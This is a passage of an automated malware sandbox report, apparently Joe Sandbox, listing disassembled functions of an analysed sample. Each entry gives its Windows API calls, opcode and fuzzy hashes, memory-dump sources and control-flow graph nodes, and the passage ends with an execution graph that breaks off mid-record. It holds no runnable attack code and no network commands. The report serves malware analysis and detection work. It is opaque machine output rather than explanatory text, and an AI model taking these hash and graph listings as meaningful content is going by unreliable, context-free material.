                                                                                                          • Instruction ID: a4e93b00c35a8a0c654b56eae1181ad769f76655be0e0f1d1a5e3279f1162c17
                                                                                                          • Opcode Fuzzy Hash: 71ba47426ca37b348bc3b1da4a0619e1ab81c8d746b1503c51d22008f9400505
                                                                                                          • Instruction Fuzzy Hash: E4E092327042145787086BB5A8581AF778BEBCA7623444879EA0BAF741CD658C4597E1
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0296D3E0 Relevance: 6.1, APIs: 4, Instructions: 128threadCOMMON
                                                                                                          Download Yara Rule

                                                                                                          Control-flow Graph

                                                                                                          APIs
                                                                                                          • GetCurrentProcess.KERNEL32 ref: 0296D45E
                                                                                                          • GetCurrentThread.KERNEL32 ref: 0296D49B
                                                                                                          • GetCurrentProcess.KERNEL32 ref: 0296D4D8
                                                                                                          • GetCurrentThreadId.KERNEL32 ref: 0296D531
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000000.00000002.1468103571.0000000002960000.00000040.00000800.00020000.00000000.sdmp, Offset: 02960000, based on PE: false
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_0_2_2960000_file.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: Current$ProcessThread
                                                                                                          • String ID:
                                                                                                          • API String ID: 2063062207-0
                                                                                                          • Opcode ID: d28cea506cfba6d4fdeb20063a6c1df7bb79722a4dc69aeaa566efcb1bd6f43f
                                                                                                          • Instruction ID: a90d2929d04334f20c5f16fa9d986bab7c0304ccc1caa68f8439da30b28f1210
                                                                                                          • Opcode Fuzzy Hash: d28cea506cfba6d4fdeb20063a6c1df7bb79722a4dc69aeaa566efcb1bd6f43f
                                                                                                          • Instruction Fuzzy Hash: 905158B0A00749CFDB14DFA9D588BAEBBF1BF48304F208499D019A7390DB74A944CB65
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0296B150 Relevance: 1.7, APIs: 1, Instructions: 195COMMON
                                                                                                          Download Yara Rule

                                                                                                          Control-flow Graph

                                                                                                          APIs
                                                                                                          • GetModuleHandleW.KERNELBASE(00000000), ref: 0296B3A6
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000000.00000002.1468103571.0000000002960000.00000040.00000800.00020000.00000000.sdmp, Offset: 02960000, based on PE: false
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_0_2_2960000_file.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: HandleModule
                                                                                                          • String ID:
                                                                                                          • API String ID: 4139908857-0
                                                                                                          • Opcode ID: 6223506d679bd3bc9338df3d11c6a381129594eee2f9b13e487486ebdeffbd95
                                                                                                          • Instruction ID: ab42cc36fc90b5893642ae791b9a99d3c46e0328b66c70f1e668ebcc9ba27126
                                                                                                          • Opcode Fuzzy Hash: 6223506d679bd3bc9338df3d11c6a381129594eee2f9b13e487486ebdeffbd95
                                                                                                          • Instruction Fuzzy Hash: 00714770A00B058FD724DF69D55876ABBF5FF88308F00892DD49AE7A40E778E855CB90
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 02965915 Relevance: 1.6, APIs: 1, Instructions: 97COMMON
                                                                                                          Download Yara Rule

                                                                                                          Control-flow Graph

                                                                                                          • Executed
                                                                                                          • Not Executed
                                                                                                          control_flow_graph 78 2965915-296591c 79 2965924-29659e1 CreateActCtxA 78->79 81 29659e3-29659e9 79->81 82 29659ea-2965a44 79->82 81->82 89 2965a46-2965a49 82->89 90 2965a53-2965a57 82->90 89->90 91 2965a68 90->91 92 2965a59-2965a65 90->92 94 2965a69 91->94 92->91 94->94
                                                                                                          APIs
                                                                                                          • CreateActCtxA.KERNEL32(?), ref: 029659D1
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000000.00000002.1468103571.0000000002960000.00000040.00000800.00020000.00000000.sdmp, Offset: 02960000, based on PE: false
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_0_2_2960000_file.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: Create
                                                                                                          • String ID:
                                                                                                          • API String ID: 2289755597-0
                                                                                                          • Opcode ID: 956b962440da4498d8611d47a5d8eb0facff781631d43947e704772636e876fa
                                                                                                          • Instruction ID: 12a75db0fe01b3906a2e0244e8d2c2b263047021a20495e87bce9b9f8f327350
                                                                                                          • Opcode Fuzzy Hash: 956b962440da4498d8611d47a5d8eb0facff781631d43947e704772636e876fa
                                                                                                          • Instruction Fuzzy Hash: 5641EDB0C00719CBEB24DFAAC888B9EFBF5BF49304F60806AD418AB250DB755949CF50
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 029644B0 Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                                                                          Download Yara Rule

                                                                                                          Control-flow Graph

                                                                                                          • Executed
                                                                                                          • Not Executed
                                                                                                          control_flow_graph 95 29644b0-29659e1 CreateActCtxA 98 29659e3-29659e9 95->98 99 29659ea-2965a44 95->99 98->99 106 2965a46-2965a49 99->106 107 2965a53-2965a57 99->107 106->107 108 2965a68 107->108 109 2965a59-2965a65 107->109 111 2965a69 108->111 109->108 111->111
                                                                                                          APIs
                                                                                                          • CreateActCtxA.KERNEL32(?), ref: 029659D1
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000000.00000002.1468103571.0000000002960000.00000040.00000800.00020000.00000000.sdmp, Offset: 02960000, based on PE: false
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_0_2_2960000_file.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: Create
                                                                                                          • String ID:
                                                                                                          • API String ID: 2289755597-0
                                                                                                          • Opcode ID: 8be7db62b5e6dd2a7decb1dfa6a87f724f4a8f60ece51e8ab65aab38483d642a
                                                                                                          • Instruction ID: ed0eaad166e82bc5038ed7fd275b69b0234d25531e046931196f46c16d3b5e1d
                                                                                                          • Opcode Fuzzy Hash: 8be7db62b5e6dd2a7decb1dfa6a87f724f4a8f60ece51e8ab65aab38483d642a
                                                                                                          • Instruction Fuzzy Hash: EB41D270C0071DCBEB24CFA9C888B9EBBF5BF49704F60806AD419AB251DB756949CF90
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0296D628 Relevance: 1.6, APIs: 1, Instructions: 62COMMON
                                                                                                          Download Yara Rule

                                                                                                          Control-flow Graph

                                                                                                          • Executed
                                                                                                          • Not Executed
                                                                                                          control_flow_graph 112 296d628-296d6bc DuplicateHandle 113 296d6c5-296d6e2 112->113 114 296d6be-296d6c4 112->114 114->113
                                                                                                          APIs
                                                                                                          • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0296D6AF
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000000.00000002.1468103571.0000000002960000.00000040.00000800.00020000.00000000.sdmp, Offset: 02960000, based on PE: false
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_0_2_2960000_file.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: DuplicateHandle
                                                                                                          • String ID:
                                                                                                          • API String ID: 3793708945-0
                                                                                                          • Opcode ID: a6fb790ebb479c213f16219f510edf4435a368bcbe66d269bc23b8ca60592ac9
                                                                                                          • Instruction ID: f2bebbd3294072543e33de95874f9a8ad9937656bf5b04606b76f972535f9857
                                                                                                          • Opcode Fuzzy Hash: a6fb790ebb479c213f16219f510edf4435a368bcbe66d269bc23b8ca60592ac9
                                                                                                          • Instruction Fuzzy Hash: F821E4B59002099FDB10CF9AD984AEEBBF8EB48310F14845AE918A3350D378A954CFA4
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0296AB78 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON
                                                                                                          Download Yara Rule

                                                                                                          Control-flow Graph

                                                                                                          • Executed
                                                                                                          • Not Executed
                                                                                                          control_flow_graph 117 296ab78-296b608 119 296b610-296b63f LoadLibraryExW 117->119 120 296b60a-296b60d 117->120 121 296b641-296b647 119->121 122 296b648-296b665 119->122 120->119 121->122
                                                                                                          APIs
                                                                                                          • LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0296B421,00000800,00000000,00000000), ref: 0296B632
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000000.00000002.1468103571.0000000002960000.00000040.00000800.00020000.00000000.sdmp, Offset: 02960000, based on PE: false
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_0_2_2960000_file.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: LibraryLoad
                                                                                                          • String ID:
                                                                                                          • API String ID: 1029625771-0
                                                                                                          • Opcode ID: 0c66c4b365cdaf68129912e503b1a228b87ae31291631f508efc096c06014ce3
                                                                                                          • Instruction ID: f3b9be471ac939363d522773472856b846b373923d76ba3c427737bdf1036bc3
                                                                                                          • Opcode Fuzzy Hash: 0c66c4b365cdaf68129912e503b1a228b87ae31291631f508efc096c06014ce3
                                                                                                          • Instruction Fuzzy Hash: 7A1103B69003098FDB20CF9AD448AEEFBF4EB48324F10846AE419A7240D375A545CFA5
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0296B340 Relevance: 1.5, APIs: 1, Instructions: 47COMMON
                                                                                                          Download Yara Rule

                                                                                                          Control-flow Graph

                                                                                                          • Executed
                                                                                                          • Not Executed
                                                                                                          control_flow_graph 125 296b340-296b380 126 296b382-296b385 125->126 127 296b388-296b3b3 GetModuleHandleW 125->127 126->127 128 296b3b5-296b3bb 127->128 129 296b3bc-296b3d0 127->129 128->129
                                                                                                          APIs
                                                                                                          • GetModuleHandleW.KERNELBASE(00000000), ref: 0296B3A6
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000000.00000002.1468103571.0000000002960000.00000040.00000800.00020000.00000000.sdmp, Offset: 02960000, based on PE: false
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_0_2_2960000_file.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: HandleModule
                                                                                                          • String ID:
                                                                                                          • API String ID: 4139908857-0
                                                                                                          • Opcode ID: c7ccede60a943b446bdfe47e9cdb146f3175328a0d9d47d2d90ba3b7f4fdadec
                                                                                                          • Instruction ID: 8dd2deb9d432074ff8fd734dce06c495a314a2c02eff922c8eb9de51d82614c7
                                                                                                          • Opcode Fuzzy Hash: c7ccede60a943b446bdfe47e9cdb146f3175328a0d9d47d2d90ba3b7f4fdadec
                                                                                                          • Instruction Fuzzy Hash: DA11DFB5D007498FDB20CF9AD448B9EFBF8AF88214F14846AD829B7610D379A545CFA1
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0112D3D8 Relevance: .1, Instructions: 75COMMON
                                                                                                          Download Yara Rule
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000000.00000002.1467906274.000000000112D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0112D000, based on PE: false
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_0_2_112d000_file.jbxd
                                                                                                          Similarity
                                                                                                          • API ID:
                                                                                                          • String ID:
                                                                                                          • API String ID:
                                                                                                          • Opcode ID: 24a11c5c8b5ae0bd29dac6a446eb0ac7b8bbdab29495af5fc35d9ca1c970349b
                                                                                                          • Instruction ID: 9298475ea5e8adcfd3b9fd4bc9ed9e31dd50654e465fbe32b265060628cee672
                                                                                                          • Opcode Fuzzy Hash: 24a11c5c8b5ae0bd29dac6a446eb0ac7b8bbdab29495af5fc35d9ca1c970349b
                                                                                                          • Instruction Fuzzy Hash: 16214871504384DFDF09DF44E9C0B56BB65FB84314F24C169D8090B646C336E466CBA2
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0112D4C4 Relevance: .1, Instructions: 75COMMON
                                                                                                          Download Yara Rule
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000000.00000002.1467906274.000000000112D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0112D000, based on PE: false
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_0_2_112d000_file.jbxd
                                                                                                          Similarity
                                                                                                          • API ID:
                                                                                                          • String ID:
                                                                                                          • API String ID:
                                                                                                          • Opcode ID: 43fce314d2aa4e62e6e6bf282d6d48446681f0b57c30334b3a2e1621d4345fc3
                                                                                                          • Instruction ID: 8d49817689b2a7083b76fedcd50385cf3802f7ca1742df2b70a959349740ba4e
                                                                                                          • Opcode Fuzzy Hash: 43fce314d2aa4e62e6e6bf282d6d48446681f0b57c30334b3a2e1621d4345fc3
                                                                                                          • Instruction Fuzzy Hash: C9210371504240DFDF09DF54E9C0B26BF75FB88318F24C5A9E8094B256C376D466CAA2
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0113D01C Relevance: .1, Instructions: 72COMMON
                                                                                                          Download Yara Rule
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000000.00000002.1467948521.000000000113D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0113D000, based on PE: false
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_0_2_113d000_file.jbxd
                                                                                                          Similarity
                                                                                                          • API ID:
                                                                                                          • String ID:
                                                                                                          • API String ID:
                                                                                                          • Opcode ID: 381169fda22ee9d41c31bc65d9cfd304d40b830909f6f7d677bc6acc01120156
                                                                                                          • Instruction ID: a8c72738b0a5de911526f2987ad1be82f2f96dff3acf778ffc545e8e6ee2eb80
                                                                                                          • Opcode Fuzzy Hash: 381169fda22ee9d41c31bc65d9cfd304d40b830909f6f7d677bc6acc01120156
                                                                                                          • Instruction Fuzzy Hash: 39210071604340DFDF19DFA4E8C0B26FB65FB84614F64C5A9E80A4B28AC336D807CA62
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0113D006 Relevance: .1, Instructions: 63COMMON
                                                                                                          Download Yara Rule
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000000.00000002.1467948521.000000000113D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0113D000, based on PE: false
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_0_2_113d000_file.jbxd
                                                                                                          Similarity
                                                                                                          • API ID:
                                                                                                          • String ID:
                                                                                                          • API String ID:
                                                                                                          • Opcode ID: 4ede69d840a60a5da8e6fa09572327526ba1056d9b03259613c744b9cdda77ca
                                                                                                          • Instruction ID: 24783e62336ced57f62c8024b4c2c79c8da39c0bd91b27d2550ec74ef2da6d4c
                                                                                                          • Opcode Fuzzy Hash: 4ede69d840a60a5da8e6fa09572327526ba1056d9b03259613c744b9cdda77ca
                                                                                                          • Instruction Fuzzy Hash: 7E2180755083809FCB06CF64D994B11BF71EB86214F28C5DAD8498F2A7C33A985ACB62
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0112D3D3 Relevance: .1, Instructions: 56COMMON
                                                                                                          Download Yara Rule
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000000.00000002.1467906274.000000000112D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0112D000, based on PE: false
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_0_2_112d000_file.jbxd
                                                                                                          Similarity
                                                                                                          • API ID:
                                                                                                          • String ID:
                                                                                                          • API String ID:
                                                                                                          • Opcode ID: f4ddf6aab7a4ec5fdcafc4d9db3305c30ac7726daeb53e4266b93089bec5e780
                                                                                                          • Instruction ID: d88fea7985d90f997d2a9f3261157215910990b060ed530fbfbff7729ae4322b
                                                                                                          • Opcode Fuzzy Hash: f4ddf6aab7a4ec5fdcafc4d9db3305c30ac7726daeb53e4266b93089bec5e780
                                                                                                          • Instruction Fuzzy Hash: 2B11CD72404280CFDF06CF44D9C0B56BF61FB84224F2482A9D8090A656C33AE466CBA2
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0112D4BF Relevance: .1, Instructions: 56COMMON
                                                                                                          Download Yara Rule
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000000.00000002.1467906274.000000000112D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0112D000, based on PE: false
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_0_2_112d000_file.jbxd
                                                                                                          Similarity
                                                                                                          • API ID:
                                                                                                          • String ID:
                                                                                                          • API String ID:
                                                                                                          • Opcode ID: f4ddf6aab7a4ec5fdcafc4d9db3305c30ac7726daeb53e4266b93089bec5e780
                                                                                                          • Instruction ID: 0123426abc0a0c047465eb6aeb6113c13e837be78db44c4fd6f975b2e5acc97f
                                                                                                          • Opcode Fuzzy Hash: f4ddf6aab7a4ec5fdcafc4d9db3305c30ac7726daeb53e4266b93089bec5e780
                                                                                                          • Instruction Fuzzy Hash: 5D11DF72404280CFCF06CF54E5C0B56BF71FB84318F24C6A9D8090B656C336D466CBA2
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Non-executed Functions

                                                                                                          Function 0296DF84 Relevance: .3, Instructions: 264COMMON
                                                                                                          Download Yara Rule
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000000.00000002.1468103571.0000000002960000.00000040.00000800.00020000.00000000.sdmp, Offset: 02960000, based on PE: false
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_0_2_2960000_file.jbxd
                                                                                                          Similarity
                                                                                                          • API ID:
                                                                                                          • String ID:
                                                                                                          • API String ID:
                                                                                                          • Opcode ID: c67b2895376967f151291bf2e270afe70419688723ce1ffe04d2656612c530c0
                                                                                                          • Instruction ID: da10d7616f08e4d95db98fa0305897c059b8ad4ef189dffc110a56caa6b1011d
                                                                                                          • Opcode Fuzzy Hash: c67b2895376967f151291bf2e270afe70419688723ce1ffe04d2656612c530c0
                                                                                                          • Instruction Fuzzy Hash: F5A17C32E002098FCF15DFB5D8889AEB7F2FF84304B15456AE906AB225DB31E916CF50
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Executed Functions

                                                                                                          Function 00007FF7788912FD Relevance: .0, Instructions: 4COMMON
                                                                                                          Download Yara Rule
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000009.00000002.2623991949.00007FF778891000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF778890000, based on PE: true
                                                                                                          • Associated: 00000009.00000002.2623966783.00007FF778890000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                          • Associated: 00000009.00000002.2624017910.00007FF77889C000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                                          • Associated: 00000009.00000002.2624342943.00007FF778DC5000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                          • Associated: 00000009.00000002.2624367541.00007FF778DC8000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                          • Associated: 00000009.00000002.2624390232.00007FF778DCC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                          • Associated: 00000009.00000002.2624411962.00007FF778DD1000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                                          • Associated: 00000009.00000002.2624433707.00007FF778DD2000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_9_2_7ff778890000_3igcf6uAz0sWTHiwyuTtf5S5.jbxd
                                                                                                          Similarity
                                                                                                          • API ID:
                                                                                                          • String ID:
                                                                                                          • API String ID:
                                                                                                          • Opcode ID: 85f536f5dcae88d599092f131d9ffab5b59fc2b5df8a7e52cef48c5b7323ef21
                                                                                                          • Instruction ID: 9fcddc64c3be161bf2ccd2cc8255841340d905ab79d0b2bc73b605ece694c8bb
                                                                                                          • Opcode Fuzzy Hash: 85f536f5dcae88d599092f131d9ffab5b59fc2b5df8a7e52cef48c5b7323ef21
                                                                                                          • Instruction Fuzzy Hash: DFB01276A3C301DCE3047F03D84126CFA206B08700FE01430C40D53356DE7CA0518774
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Executed Functions

                                                                                                          Function 00007FF645F612FD Relevance: .0, Instructions: 4COMMON
                                                                                                          Download Yara Rule
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 0000001F.00000002.1913744028.00007FF645F61000.00000020.00000001.01000000.0000001C.sdmp, Offset: 00007FF645F60000, based on PE: true
                                                                                                          • Associated: 0000001F.00000002.1901530382.00007FF645F60000.00000002.00000001.01000000.0000001C.sdmpDownload File
                                                                                                          • Associated: 0000001F.00000002.1935490409.00007FF645F6C000.00000008.00000001.01000000.0000001C.sdmpDownload File
                                                                                                          • Associated: 0000001F.00000002.2571527022.00007FF646496000.00000004.00000001.01000000.0000001C.sdmpDownload File
                                                                                                          • Associated: 0000001F.00000002.2587959627.00007FF646498000.00000002.00000001.01000000.0000001C.sdmpDownload File
                                                                                                          • Associated: 0000001F.00000002.2614047406.00007FF64649E000.00000004.00000001.01000000.0000001C.sdmpDownload File
                                                                                                          • Associated: 0000001F.00000002.2643780721.00007FF6464A1000.00000008.00000001.01000000.0000001C.sdmpDownload File
                                                                                                          • Associated: 0000001F.00000002.2643842891.00007FF6464A2000.00000002.00000001.01000000.0000001C.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_31_2_7ff645f60000_6Y6HZLXw0Y38mRwaQb51f9Xr.jbxd
                                                                                                          Similarity
                                                                                                          • API ID:
                                                                                                          • String ID:
                                                                                                          • API String ID:
                                                                                                          • Opcode ID: 85f536f5dcae88d599092f131d9ffab5b59fc2b5df8a7e52cef48c5b7323ef21
                                                                                                          • Instruction ID: a8aae82c2945ee91ec1eacc1946b96fd31cf2a8a82a93cab7b2cb9f9e25c01dc
                                                                                                          • Opcode Fuzzy Hash: 85f536f5dcae88d599092f131d9ffab5b59fc2b5df8a7e52cef48c5b7323ef21
                                                                                                          • Instruction Fuzzy Hash: 7BB01270E0C341C4E7007F51E84165C3230AB04B00F405430C40C53392CE7D54418B21
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Execution Graph

                                                                                                          Execution Coverage:15.3%
                                                                                                          Dynamic/Decrypted Code Coverage:0%
                                                                                                          Signature Coverage:2.2%
                                                                                                          Total number of Nodes:2000
                                                                                                          Total number of Limit Nodes:44
                                                                                                          execution_graph 13093 411160 13096 413f9f 13093->13096 13097 411166 13096->13097 13098 413fcd 13096->13098 13099 414012 13098->13099 13100 413fd7 13098->13100 13101 414003 13099->13101 13104 41570a ctype 28 API calls 13099->13104 13113 41570a 13100->13113 13101->13097 13103 41406b RtlFreeHeap 13101->13103 13103->13097 13107 41401e ctype 13104->13107 13105 413fde ctype 13111 413ff8 13105->13111 13128 415ac8 13105->13128 13112 41404a 13107->13112 13137 41684f 13107->13137 13134 414009 13111->13134 13141 414061 13112->13141 13114 415760 EnterCriticalSection 13113->13114 13115 415722 13113->13115 13114->13105 13144 413e65 13115->13144 13118 415738 13120 41570a ctype 27 API calls 13118->13120 13121 415740 13120->13121 13122 415751 13121->13122 13123 415747 InitializeCriticalSection 13121->13123 13125 413f9f ctype 27 API calls 13122->13125 13124 415756 13123->13124 13153 41576b LeaveCriticalSection 13124->13153 13125->13124 13127 41575e 13127->13114 13129 415b06 13128->13129 13133 415dbc ctype 13128->13133 13130 415d02 VirtualFree 13129->13130 13129->13133 13131 415d66 13130->13131 13132 415d75 VirtualFree HeapFree 13131->13132 13131->13133 13132->13133 13133->13111 13237 41576b LeaveCriticalSection 13134->13237 13136 414010 13136->13101 13138 41687c 13137->13138 13140 416892 13137->13140 13138->13140 13238 416736 13138->13238 13140->13112 13247 41576b LeaveCriticalSection 13141->13247 13143 414068 13143->13101 13154 413e77 13144->13154 13147 414c0c 13148 414c15 13147->13148 13149 414c1a 13147->13149 13217 4177fd 13148->13217 13223 417836 13149->13223 13153->13127 13155 413e74 13154->13155 13157 413e7e ctype 13154->13157 13155->13118 13155->13147 13157->13155 13158 413ea3 13157->13158 13159 413ed0 13158->13159 13161 413f13 13158->13161 13160 41570a ctype 28 API calls 13159->13160 13164 413efe 13159->13164 13162 413ee6 13160->13162 13161->13164 13165 413f35 13161->13165 13176 415df1 13162->13176 13163 413f82 RtlAllocateHeap 13167 413f05 13163->13167 13164->13163 13164->13167 13168 41570a ctype 28 API calls 13165->13168 13167->13157 13170 413f3c 13168->13170 13185 416894 13170->13185 13173 413f4f 13192 413f69 13173->13192 13179 415e23 13176->13179 13177 415ec2 13181 413ef1 13177->13181 13202 4161ab 13177->13202 13179->13177 13179->13181 13195 4160fa 13179->13195 13182 413f0a 13181->13182 13206 41576b LeaveCriticalSection 13182->13206 13184 413f11 13184->13164 13186 4168a2 ctype 13185->13186 13187 416a63 13186->13187 13188 41698e VirtualAlloc 13186->13188 13191 41695f ctype 13186->13191 13207 41659c 13187->13207 13188->13191 13191->13173 13216 41576b LeaveCriticalSection 13192->13216 13194 413f5c 13194->13164 13194->13167 13196 41613d HeapAlloc 13195->13196 13197 41610d HeapReAlloc 13195->13197 13198 41618d 13196->13198 13200 416163 VirtualAlloc 13196->13200 13197->13198 13199 41612c 13197->13199 13198->13177 13199->13196 13200->13198 13201 41617d HeapFree 13200->13201 13201->13198 13203 4161bd VirtualAlloc 13202->13203 13205 416206 13203->13205 13205->13181 13206->13184 13208 4165b0 HeapAlloc 13207->13208 13209 4165a9 13207->13209 13210 4165cd VirtualAlloc 13208->13210 13211 416605 ctype 13208->13211 13209->13210 13212 4166c2 13210->13212 13213 4165ed VirtualAlloc 13210->13213 13211->13191 13212->13211 13214 4166ca HeapFree 13212->13214 13213->13211 13215 4166b4 VirtualFree 13213->13215 13214->13211 13215->13212 13216->13194 13218 417807 13217->13218 13219 417834 13218->13219 13220 417836 ctype 7 API calls 13218->13220 13219->13149 13221 41781e 13220->13221 13222 417836 ctype 7 API calls 13221->13222 13222->13219 13226 417849 13223->13226 13224 414c23 13224->13118 13225 417960 ctype 13229 417973 GetStdHandle WriteFile 13225->13229 13226->13224 13226->13225 13227 417889 13226->13227 13227->13224 13228 417895 GetModuleFileNameA 13227->13228 13230 4178ad ctype 13228->13230 13229->13224 13232 418320 13230->13232 13233 41832d LoadLibraryA 13232->13233 13235 41836f 13232->13235 13234 41833e GetProcAddress 13233->13234 13233->13235 13234->13235 13236 418355 GetProcAddress GetProcAddress 13234->13236 13235->13224 13236->13235 13237->13136 13241 416743 13238->13241 13239 4167f3 13239->13140 13240 416764 VirtualFree 13240->13241 13241->13239 13241->13240 13243 4166e0 VirtualFree 13241->13243 13244 4166fd 13243->13244 13245 41672d 13244->13245 13246 41670d HeapFree 13244->13246 13245->13241 13246->13241 13247->13143 13248 414b04 GetVersion 13279 4159f8 HeapCreate 13248->13279 13250 414b62 13251 414b67 13250->13251 13252 414b6f 13250->13252 13684 414c31 13251->13684 13291 4154bc 13252->13291 13256 414b74 13257 414b80 13256->13257 13258 414b78 13256->13258 13301 417641 13257->13301 13260 414c31 8 API calls 13258->13260 13262 414b7f 13260->13262 13261 414b8a GetCommandLineA 13315 41750f 13261->13315 13262->13257 13266 414ba4 13347 417209 13266->13347 13268 414ba9 13269 414bae GetStartupInfoA 13268->13269 13360 4171b1 13269->13360 13271 414bc0 GetModuleHandleA 13364 401014 13271->13364 13280 415a18 13279->13280 13281 415a4e 13279->13281 13698 4158b0 13280->13698 13281->13250 13284 415a34 13287 415a51 13284->13287 13289 41659c ctype 5 API calls 13284->13289 13285 415a27 13710 415a55 HeapAlloc 13285->13710 13287->13250 13288 415a31 13288->13287 13290 415a42 HeapDestroy 13288->13290 13289->13288 13290->13281 13811 4156e1 InitializeCriticalSection InitializeCriticalSection InitializeCriticalSection InitializeCriticalSection 13291->13811 13293 4154c2 TlsAlloc 13294 4154d2 13293->13294 13295 41550c 13293->13295 13296 416efc 30 API calls 13294->13296 13295->13256 13297 4154db 13296->13297 13297->13295 13298 4154e3 TlsSetValue 13297->13298 13298->13295 13299 4154f4 13298->13299 13300 4154fa GetCurrentThreadId 13299->13300 13300->13256 13302 413e65 ctype 29 API calls 13301->13302 13303 417654 13302->13303 13304 417662 GetStartupInfoA 13303->13304 13305 414c0c ctype 7 API calls 13303->13305 13307 417781 13304->13307 13308 4176b0 13304->13308 13305->13304 13309 4177ac GetStdHandle 13307->13309 13310 4177ec SetHandleCount 13307->13310 13308->13307 13311 413e65 ctype 29 API calls 13308->13311 13313 417727 13308->13313 13309->13307 13312 4177ba GetFileType 13309->13312 13310->13261 13311->13308 13312->13307 13313->13307 13314 417749 GetFileType 13313->13314 13314->13313 13316 41752a GetEnvironmentStringsW 13315->13316 13317 41755d 13315->13317 13319 417532 13316->13319 13320 41753e GetEnvironmentStrings 13316->13320 13318 41754e 13317->13318 13317->13319 13321 414b9a 13318->13321 13323 4175f0 GetEnvironmentStrings 13318->13323 13325 4175fc 13318->13325 13322 41756a GetEnvironmentStringsW 13319->13322 13326 417576 WideCharToMultiByte 13319->13326 13320->13318 13320->13321 13338 4172c2 13321->13338 13322->13321 13322->13326 13323->13321 13323->13325 13329 413e65 ctype 29 API calls 13325->13329 13327 4175aa 13326->13327 13328 4175dc FreeEnvironmentStringsW 13326->13328 13330 413e65 ctype 29 API calls 13327->13330 13328->13321 13336 417617 13329->13336 13331 4175b0 13330->13331 13331->13328 13332 4175b9 WideCharToMultiByte 13331->13332 13334 4175d3 